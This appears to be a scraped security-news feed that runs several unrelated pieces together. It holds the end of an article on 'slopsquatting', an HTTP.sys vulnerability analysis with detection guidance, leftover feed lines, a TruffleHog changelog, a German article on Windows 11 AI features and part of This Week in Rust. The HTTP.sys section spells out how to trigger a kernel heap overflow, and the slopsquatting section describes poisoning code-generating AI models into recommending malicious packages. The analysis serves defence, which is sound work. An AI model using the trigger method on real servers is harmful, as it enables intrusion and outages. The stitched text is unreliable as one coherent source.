LLMs generate the statistically most likely answer rather than prioritizing accuracy. Hallucinations are relatively common as a result. One study found hallucination rates range from 50% to 82%, depending on the model and prompting method. Even GPT-4o, the best-performing model, goes no lower than 23%, even with prompt-based mitigation.

Adversarial hallucination attacks could worsen this problem. Threat actors can leverage token-level manipulation or retrieval poisoning to force models to hallucinate in ways they want, increasing the likelihood that models recommend their malicious packages.

Which LLMs are prone to slopsquatting?

While all LLMs are prone to slopsquatting, some are more vulnerable than others. The likelihood of producing hallucinated packages during code generation depends on the model. Proprietary models are four times less likely to generate hallucinated packages than open-source models.

One research group proved this by conducting 30 tests across 30 different systems. Out of the 576,000 code samples and 2.23 million packages it produced, 19.7% were hallucinations. GPT-4.0 Turbo had a hallucination rate of 3.59%, while DeepSeek 1B, the best-performing open-source model, reached 13.63%.

This research suggests that organizations relying on open-source AI tools for code generation are roughly four times more exposed to slopsquatting attacks. That doesn’t necessarily mean proprietary tools will always remain safer, though. Once attackers realize this disparity, they may manipulate proprietary LLMs to take advantage of perceived safety.

Vibe coding contributes to the problem

Software developers who use AI tools estimate that over 40 percent of the code they commit includes AI assistance. They expect that percentage will increase considerably within the next few years. Already, 72% of those who have tried AI use it daily.

The uptick in vibe coding and AI-assisted coding amplifies the threat surface. As more developers integrate AI tools into their workflows without implementing proper verification processes, the attack surface for slopsquatting continues to expand.

For those using AI to assist with coding, double-checking output is essential. Verifying that recommended packages actually exist in official repositories before incorporating them into projects reduces risk.

Navigating AI-assisted development

Implementing automated checks that validate package names against known registries can help catch hallucinated packages before they enter production code. Security teams should also monitor for unusual package installations and maintain up-to-date threat intelligence on known slopsquatting campaigns.

Zac Amos is the Features Editor at ReHack.

Read more →

The post Injective Labs GitHub Compromise Pushes Wallet-Key-Stealing npm Packages appeared first on IT Security News.

A remote code execution vulnerability exists in the HTTP Protocol Stack for Microsoft Internet Information Services implemented in HTTP.sys. The vulnerability is due to invalid validating incoming HTTP requests.

A remote, unauthenticated attacker can exploit this vulnerability by sending crafted HTTP packets to the target system. Successful exploitation of this vulnerability can result in a denial-of-service condition, or, in the worst case, code execution with kernel privileges.

The Vulnerability

HTTP.sys is the kernel-mode HTTP protocol driver in Microsoft Windows. It provides HTTP request parsing, response caching, and SSL/TLS termination for Internet Information Services (IIS) and other applications that register URL prefixes. The driver listens on configured TCP ports (commonly 80 for HTTP and 443 for HTTPS) and processes inbound HTTP/1.x and HTTP/2 requests at the kernel level.

When operating over HTTPS, HTTP.sys delegates TLS processing to the Windows Secure Channel (SChannel) provider. Inbound TCP data is decrypted on a per-record basis: each TLS record constitutes an independent unit of encryption and is decrypted separately by SChannel before being delivered to HTTP.sys as a distinct plaintext buffer. A single TLS 1.3 application data record has the following structure:

The decrypted payload of each TLS record is delivered independently to the HTTP parser via

UlHttpBufferReceiveEvent(), regardless of how many TLS records the underlying TCP connection coalesces into a single TCP segment. This behavior is distinct from plaintext HTTP connections, where the Windows TCP stack coalesces multiple segments into a single receive indication before the data reaches HTTP.sys.

The HTTP parser maintains a per-request state object that includes a dynamically grown buffer reference array. The capacity field stores the current number of allocated slots in the buffer reference array. The count field stores the number of slots currently in use. The ref_array_ptr field points to the dynamically allocated array of 8-byte buffer reference entries.

An integer overflow vulnerability exists in HTTP.sys. The vulnerability is due to insufficient bounds checking when growing a buffer reference array during HTTP/1.x header parsing. When HTTP.sys receives data for an HTTP/1.x request, it allocates a UL_REQUEST_BUFFER structure for each receive indication and tracks these buffers in the per-request reference array described above. The count field records the number of active buffer references, and the capacity field records the total number of allocated slots.

As the HTTP parser (UlpParseNextRequest()) processes header lines, it calls an inline buffer reference routine each time a new receive buffer is consumed. When count reaches capacity, the routine grows the array by reallocating it with five additional slots. The new allocation size is computed as 0x28 + capacity * 8, the contents of the existing array are copied via memmove using count * 8 as the copy length, and capacity is incremented by 5 as a 16-bit unsigned integer addition. No overflow check is performed on this addition.

After 13,107 growth events, capacity reaches 0xFFFB. The next growth adds 5, producing 0x10000, which truncates to 0x0000 in the 16-bit field. On the subsequent buffer reference addition, count (which is now 65,536 or greater) exceeds the zero capacity, triggering another growth. The allocation size computation 0x28 + 0 * 8 produces a 40-byte allocation, but the memmove copies count * 8 bytes (approximately 524,256 bytes) from the old buffer into the 40-byte allocation. This results in a kernel pool heap buffer overflow of over 500 kilobytes.

Each buffer reference corresponds to one receive buffer delivered to the HTTP parser. For plaintext HTTP connections, the Windows TCP stack coalesces received segments into large indications, and UlpMergeBuffers() further combines buffers within HTTP.sys. Over TLS connections, each TLS record is decrypted independently by SChannel and delivered as a separate buffer through UlHttpBufferReceiveEvent() into UlpCopyIndicatedData(). If each TLS record contains exactly one complete header line (terminated by CRLF), the HTTP parser fully consumes the buffer without setting the partial-parse flag, causing UlpAdjustBuffers() to advance to the next buffer via its non-merge path. This creates a 1:1 correspondence between TLS records sent and buffer references accumulated.

To trigger the overflow, an attacker crafts an HTTP request in which each header line is encapsulated in a separate TLS application data record. Given a minimum header line size of approximately 4 bytes and a required count of 65,536 buffer references, the total request size comes to roughly 262,144 bytes. The MaxRequestBytes registry value (at HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters) must be configured to a value of at least 262,144 bytes for the server to accept a request of this size. The default value of 16,384 bytes limits the request to approximately 4000 header lines, which is insufficient to trigger the overflow. As a mitigation, keeping MaxRequestBytes at or below 65,535 bytes represents the most conservative configuration to prevent this attack.

A remote unauthenticated attacker could exploit this vulnerability by sending a specially crafted HTTP/1.x request over a TLS connection to an affected server. Successful exploitation results in unexpected system termination due to a memory access exception in the context of the kernel. Under specific memory layout conditions, exploitation could result in arbitrary code execution in the context of the kernel.

Notes:

• The vulnerability is only reachable through HTTP/1.x header parsing over TLS connections. HTTP/2 and HTTP/3 use different parser paths that do not interact with the buffer reference array.

• Body data parsing (Content-Length or chunked transfer encoding) does not add entries to the buffer reference array. Only header parsing triggers buffer reference growth.

• At a sending rate of 10 milliseconds per TLS record, the overflow requires approximately 11 minutes to trigger.

Source Code Walkthrough

The following code snippet was taken from HTTP.sys version 10.0.26100.7705. Comments added by TrendAI Research have been highlighted.

In UlpParseNextRequest():

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the TCP port 443.

The traffic on the affected port(s) is TLS-encrypted. The detection device must be able to decrypt the TLS traffic before applying the following detection method. The detection device should monitor for HTTPS connections.

An HTTP/1.x request [1] consists of a request line followed by zero or more header field lines, each terminated by CRLF. The following grammar defines the relevant structure:

Decrypted traffic inspection:

After decrypting the TLS session, the detection device must parse the HTTP/1.x request headers. The detection device must count the number of distinct header field lines present in a single HTTP request. If the number of header field lines in a single request exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Encrypted traffic heuristics:

Where decryption is not available, the detection device should inspect the pattern of TLS application data records within the encrypted session. If each TLS application data record contains a single short payload and the total number of such records on a single connection exceeds 1,000, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Notes:

• The preferred detection method (header line count) requires the ability to decrypt TLS traffic, for example through TLS inspection, a decrypting proxy, or possession of the server's private key. This method directly observes the attack indicator and produces low false-positive and false-negative rates.

• The TLS record heuristic operates on encrypted traffic and does not require decryption. This method is more prone to false positives (legitimate applications that send many small TLS records, such as interactive streaming sessions, may trigger the heuristic) and to false negatives (the threshold is based on observable record sizes rather than the actual header count that determines exploitability). Where possible, decrypted traffic inspection should be preferred.

• The attack requires approximately 11 minutes of sustained connection to accumulate sufficient header lines. Connection duration monitoring may serve as a supplementary detection heuristic.

Conclusion

This vulnerability was patched by Microsoft in the June 2026 release cycle. They note several mitigations that include editing the registry to ensure unpatched systems are not vulnerable to exploitation. However, the best method to ensure this bug has been fully remediated is to test and deploy the vendor-supplied patch.

Special thanks to Yazhi Wang and Jonathan Lein of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services, please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

The post FastNetMon Launches Netomics, a Self-Hosted Routing Intelligence Platform appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The post FastNetMon Launches Netomics, a Self-Hosted Routing Intelligence Platform appeared first on Cyber Security News.

The post Most data brokers won’t tell you what happened to your deletion request appeared first on Help Net Security.

• feat: add OpenRouter detector by @McPatate in #4500
• Integrations fully codeowns detectors by @trufflesteeeve in #5104
• [INS-332] Add New Relic Insights Insert key detector by @mustansir14 in #4778
• [INS-351] Added Duffel Token Detector by @MuneebUllahKhan222 in #4795
• [INS-341] Added Shippo detector by @MuneebUllahKhan222 in #4820
• [INS-467] Add IPinfo detector to default detectors list by @mustansir14 in #4970
• fix: reject --include-repos/--exclude-repos with --repo in github scan by @kashifkhan0771 in #5112
• [INS-468] Add improved lob detector to defaults.go by @mustansir14 in #4971
• feat(action): add image input to allow registry mirror overrides by @eightseventhreethree in #4965
• feat: Support archived repo exclusion from GH org scans by @hibare in #4875
• [INT-715] Retry transient failures when verifying OpenAI keys by @bill-rich in #5117
• [INS-410] Added batch token detector by @MuneebUllahKhan222 in #4824
• [INT-650] Don't log as error when git diff is too long by @bill-rich in #5113

New Contributors

• @McPatate made their first contribution in #4500
• @eightseventhreethree made their first contribution in #4965

Full Changelog: v3.95.8...v3.95.9

Windows 11 bringt mehrere KI-Funktionen mit, die sofort weiterhelfen. Live-Untertitel zeigen jeden Ton als Text, eine Echtzeit-Übersetzung läuft auf passender Hardware, und Recall durchsucht zurückliegende Bildschirminhalte. Manches steht jedem offen, anderes hängt am Gerät.

Microsoft verteilt die KI-Funktionen schrittweise und nach Hardware gestaffelt. Ältere Rechner erhalten die Grundfunktionen, neuere Geräte mit eigener KI-Einheit bekommen mehr. Nicht jedes System zeigt sofort alle Optionen, und mit jedem größeren Update kommt Weiteres hinzu. Mehrere Funktionen helfen schon heute im täglichen Einsatz, ohne dass Sie Zusatzsoftware installieren müssen. Die offizielle Anleitung zu den Live-Untertiteln stellt Microsoft auf seinen Support-Seiten bereit.

Live-Untertitel verwandeln jeden Ton in Text

Die Funktion fängt das Audiosignal Ihres Rechners ab, erkennt gesprochene Sprache und blendet sie als Text ein. Das funktioniert unabhängig von der App. Ob YouTube im Browser, eine Mediathek, ein Podcast, ein Hörbuch oder die Stimme des Gegenübers in einer Videokonferenz – der Text läuft mit. Der Rechner verarbeitet alles vor Ort. Nach dem einmaligen Download der Sprachdateien benötigen Sie keine Internetverbindung mehr, und nichts davon wandert in die Cloud.

Zum Einschalten genügt die Tastenkombination Windows + Strg + L. Alternativ klicken Sie sich über “Einstellungen” -> “Barrierefreiheit” -> “Untertitel” durch und stellen die Live-Untertitel auf Ein. Beim ersten Start lädt Windows die passenden Sprachpakete herunter, ein Vorgang von wenigen Sekunden. Deutsch steht für die reinen Untertitel zur Verfügung.

Thomas Joos

Über das Zahnrad im Untertitelfenster passen Sie Position, Schriftgröße und Farbe an. Sie verschieben den Textbereich an den oberen oder unteren Rand oder lassen ihn frei schweben. Auf Wunsch bezieht die Funktion auch das Mikrofon ein und verschriftlicht Ihre eigene Stimme, praktisch bei Diktaten oder Gesprächen vor Ort.

Ein Filter blendet Schimpfwörter aus. Mehrere Grenzen sollten Sie kennen. Das System erkennt nur menschliche Sprache, Liedtexte und Geräusche bleiben außen vor. Treffen Mikrofon- und Computerton zusammen, hat die Tonausgabe des Rechners Vorrang.

Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen hier vorstellen. Im PC-WELT Software-Shop ist das Windows-11-Upgrade für günstige 59,99 Euro statt 145 Euro erhältlich.

Die Übersetzung hängt an der Hardware

Die Untertitel kann Windows auch übersetzen, doch dafür gelten engere Voraussetzungen. Nötig ist ein Copilot+ PC mit eigener KI-Einheit und mindestens Windows 11 in der Version 24H2. Auf solchen Geräten überträgt das System gesprochene Inhalte aus über 40 Sprachen ins Englische und aus 27 Sprachen ins vereinfachte Chinesisch, in Echtzeit und ohne Cloud.

Der praktische Nutzen hat enge Grenzen. Die Zielsprache lautet Englisch oder vereinfachtes Chinesisch. Ein fremdsprachiges Video holt das System ins Englische. Für eine deutsche Ausgabe greifen Sie zu anderen Mitteln, darunter die eigenen Untertitelfunktionen von YouTube oder Netflix oder eine Übersetzung im Browser. Auf Rechnern ohne Copilot+ Technik bleiben die Standarduntertitel verfügbar, die Übersetzung erfordert die neuere Hardware.

Microsoft hat auf der Entwicklerkonferenz Build 2026 angekündigt, die lokale Spracherkennung und Funktionen wie die Live-Untertitel künftig auch auf normalen Prozessoren und Grafikkarten laufen zu lassen. Die Bindung an spezielle KI-Chips lockert sich damit, Microsoft verteilt die Neuerungen schrittweise über kommende Updates. Wann genau welche Sprache und welches Gerät an der Reihe ist, hat Microsoft offengelassen.

Recall durchsucht alte Bildschirminhalte

Recall fertigt im Abstand weniger Sekunden Momentaufnahmen Ihres Bildschirms an, speichert sie verschlüsselt auf der Festplatte und macht sie durchsuchbar. Sie beschreiben mit eigenen Worten, was Sie gesehen haben, und das System liefert die passende Stelle zurück. Eine Webseite, ein Dokument oder eine App-Ansicht von gestern findet sich so wieder, auch ohne Dateinamen oder Verlauf.

Foundry

Der Vorteil zeigt sich bei häufiger Rücksuche. Suchen Sie oft nach früher gesehenen Inhalten, sparen Sie sich das mühsame Durchklicken von Ordnern und Browserverlauf. Bei seltener Nutzung bleibt der Gewinn gering, die offenen Datenschutzfragen bestehen weiter. Recall hält fest, was auf dem Schirm erscheint, darunter private Nachrichten, Bankdaten oder Gesundheitsinformationen. Ein Filter für sensible Inhalte greift, arbeitet aber nicht lückenlos. Deshalb sperren einzelne Programme, darunter Signal und der Brave-Browser, ihre Inhalte gegen die Aufnahme.

Mehrere Hürden schützen Sie vorab. Recall läuft nur auf Copilot+ PCs, setzt die Anmeldung über Windows Hello voraus und bleibt nach der Einrichtung ausgeschaltet. Erst Ihre bewusste Zustimmung startet die Aufnahmen. Pro Quartal beanspruchen die Momentaufnahmen bis zu 25 Gigabyte Speicher. Einzelne Apps und Webseiten können ausgeschlossen werden, Aufnahmen pausieren oder löschen.

Zum Abschalten öffnen Sie “Einstellungen” -> “Datenschutz und Sicherheit” -> “Recall und Snapshots” und stellen die Option zum Speichern der Aufnahmen auf Aus. Vorhandene Aufnahmen entfernen Sie an gleicher Stelle. Eine ausführliche Schritt-für-Schritt-Anleitung zum Deaktivieren und zum Löschen der Screenshots steht bereit.

Zur Prüfung per Programm steht das kostenlose Stop Recall von Ashampoo bereit. Das Tool kontrolliert den zuständigen Registry-Wert und schaltet die Funktion per Klick ab. Hilfreich ist das auch nach Updates, denn ein Update kann die Einstellung zurücksetzen. Microsoft beschreibt die Funktion und ihre Kontrollmöglichkeiten ebenfalls im eigenen Support.

Editor und Copilot erledigen kleine Aufgaben

Auch der schlichte Editor von Windows kann inzwischen KI-Funktionen nutzen. Die Schreibtools aktivieren Sie über das Zahnrad oben rechts, indem Sie in den Einstellungen ganz nach unten scrollen und die entsprechende Option einschalten. Anschließend markieren Sie einen Text, klicken mit der rechten Maustaste und lassen ihn zusammenfassen oder mithilfe vorgegebener Optionen umformulieren. Wenn Ihnen die Funktion nicht gefällt, können Sie sie an gleicher Stelle jederzeit wieder deaktivieren.

Der Copilot-Assistent beantwortet Fragen, formuliert Texte um und steuert auf Zuruf sogar Systemeinstellungen wie Bluetooth, die Bildschirmhelligkeit oder den Dunkelmodus. Starten lässt er sich über die Copilot-Taste auf neueren Tastaturen oder per Tastenkombination Windows + C. Viele Funktionen laufen dabei über die Cloud und erfordern ein Microsoft-Konto. Eine neue Suchfunktion namens „Ask Copilot“ soll mittelfristig die klassische Windows-Suche in der Taskleiste ersetzen, bleibt jedoch optional und wird nicht automatisch aktiviert.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

• Maintainer spotlight: Gen Li (@rami3l)
• Together for a healthier Clippy

Newsletters

• The Embedded Rustacean Issue #75

Project/Tooling Updates

• copper-rs v1.0.0: the open source deterministic robotics OS is now stable.
• Rayfish: Your own private network. No servers, no setup.
• rama v0.3.0 — network service framework ready to be used by the wider Rust community
• kache 0.9.0: supply-chain hardening + read-only CI cache
• GuardianDB - PostgreSQL and P2P/Local-First Together
• Nectar: a Rust-like language that compiles your whole web app to WebAssembly
• logdrain: Fast, Embeddable Log-Template Mining in Rust
• sheathe: Packaging the World's Video in Pure Rust
• wickra: streaming-first technical indicators
• Xcelerator Solver v0.1.0 -- deterministic symbolic regression
• dlt-tui 1.1.0 - a fast TUI viewer for automotive DLT (AUTOSAR Diagnostic Log and Trace) files
• RSSH v0.2.11 — terminal workflows, safer SSH key import, and observable AI ops
• k8s-scale-app-rs: Scale or Restart a Kubernetes Deployment from a CronJob
• M-vis v0.5.0-rc1 update
• FlareDB: An Apache Beam Native Streaming Database built in Rust
• mqtt-typed-client 0.2: a type-safe async MQTT client on rumqttc
• RootAsRole: v4.0.0 Major release, secure execution, new logo
• A Cross-Platform Rust UI Framework via Qt’s Bridging Technology
• Jam Programming Language
• Sōzu 2.1.0: UDP load balancing for the programmable edge
• b0nker: a minimal container runtime written in Rust

Observations/Thoughts

• [video] Rust Berlin Meetup 25/06/2026 Livestream
• [video] How do you rewrite C/C++ projects to Rust? – JetBrains interview with Luca Palmieri, Mainmatter
• Investigating why RustCrypto is slow: Deep dive into SIMD instructions and hardware acceleration
• bool as u32
• A Rust-to-Lean Verification Pipeline with AI Provers: An Experience Report
• Work In Progress Rust
• [video] OpenAI just spent $600k on Rust
• [audio] Rising Academies with Dylan Brown - Rust in Production Podcast

Rust Walkthroughs

• [series] Bevy Tutorial: Build Your First 3D Editor - Create a 3D Space on an Infinite Grid
• Learn Axum Basics and Routing by Building a URL Shortener
• [series] Rama 101.1: HTTPS clients and layers of abstraction

Miscellaneous

• Clickable euler diagram of all the Rust week talks

Crate of the Week

This week's crate is apis-saltans, a Zigbee implementation including a coordinator API.

Thanks to Richard Neumann for the self-suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

* Protocol - Extend bit-exactness tests to f64 reconstruction targets
* Dofigen - No image tag replacement flag for the generate command

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

598 pull requests were merged in the last week

Compiler

• enable eager param_env norm in new solver
• lint on core::ffi::c_void as a return type
• polish some macro parsing code
• resolve: no allocation in resolve_ident_in(_local)_module_*
• simplify option-iterator flattening in the compiler
• stabilize #[my_macro] mod foo; (part of proc_macro_hygiene)